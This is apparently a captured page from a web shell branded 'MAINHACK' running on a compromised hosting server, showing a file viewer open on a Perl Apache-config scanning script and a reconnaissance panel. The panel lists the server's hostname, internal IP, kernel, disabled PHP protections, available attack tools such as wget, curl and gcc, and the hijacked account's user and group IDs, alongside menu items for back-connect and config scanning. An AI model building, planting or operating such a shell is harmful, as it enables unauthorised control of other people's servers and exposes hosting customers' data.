[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: mk_apache_conf_digest.pl
File is not writable. Editing disabled.
#!/usr/bin/env perl use strict; my $config=shift; my $httpd_root = shift; scan_config_recursive($config, 0); sub out_tree{ my ($branch, $out, $level) = @_; if (@$branch == 2){ # no rules return 0; } my $rules = 0; my $start_pos = @$out; my ($start, $end) = (shift @$branch, pop @$branch); for my $tmp (@$branch){ if(ref($tmp) eq 'ARRAY'){ $rules += out_tree($tmp, $out, $level + 2); }else{ $rules++; push @$out, (" " x ($level + 2)). $tmp; } } if($rules){ splice @$out, $start_pos, 0, (" " x $level) . $start; push @$out, (" " x $level) . $end; } return $rules; } sub scan_config_recursive{ my ($config, $level) = @_; print "-" x $level, "file:",$config, "\n"; my $rule_prefix= "-" x ($level + 2) . "rule:"; my (@stack, $tree, $current); my $counter = 0; return unless -e $config; open(local(*CFG), "<", $config); while(<CFG>){ s/^\s*|\s*$//g; if (/^\s*Include(?:Optional)?\s+"?([^"]+?)"?\s*?$/mi){ # includes my $inc=$1; $inc = $httpd_root . '/' . $inc if $inc !~ m|^/|; my @incs = sort glob($inc); scan_config_recursive($_, $level + 2) for @incs; }elsif(/^\s*<(\/)?(?:ifdefine|if|elseif|else|ifmodule|virtualhost|location|directory)\b\s*/i){ # block directives unless(defined $1){ # start block directive my $branch = [$_]; push @stack, $branch; push @$current, $branch if $current; $tree = $branch unless $tree; $current = $branch; }else{ # end block directive push @$current, $_; pop @stack; # remove current $current = $stack[$#stack]; } unless(@stack){ my $out = []; if ($counter){ if(out_tree($tree,$out)){ #local $, = "\n"; print join ( "\n" , (map { $rule_prefix . $_} @$out) ) , "\n"; } } @stack=(); $counter = 0; $tree = undef; $current = undef; } # all important directives to log }elsif(/^\s*(lsapi_uid_gid|lsapi_user_group|php_value|userdir|rdefaultuidgid|assignuserid|rminuidgid|rgroups|securelinks|assignuserid|lveid|lveuser|suphp_usergroup|secuploadkeepfiles|secuploaddir|secruleremovebytag|secruleremovebymsg|secrequestbodylimit|secchrootdir|secauditlog|secruleremovebyid|documentroot|servername|serverroot|setenv|user|group|secruleengine|secrequestbodyaccess|secresponsebodyaccess|secdebuglog|sectmpdir|secdatadir|secauditengine|suexecusergroup|ruidgid)\b\s*(.+)$/i){ my $line = $_; my $path = $2; if($1 =~ /root|dir|path|log/i){ $path =~ s/^["']|["']$//g; $path =~ s/([`\$"])/\\$1/g; if($path =~ m"^/"){ # todo handle relative paths unless(-e $path){ $line .= " [not exists or access denied]"; }else{ my $path_info = `ls "$path" -ld 2>>/dev/null | cut -d" " -f1,3,4`; chomp($path_info); $line .= " [$path_info]" if $path_info; } } } if($current){ push @$current, $line; $counter++; }else{ print $rule_prefix ,$line, "\n"; } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.26 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A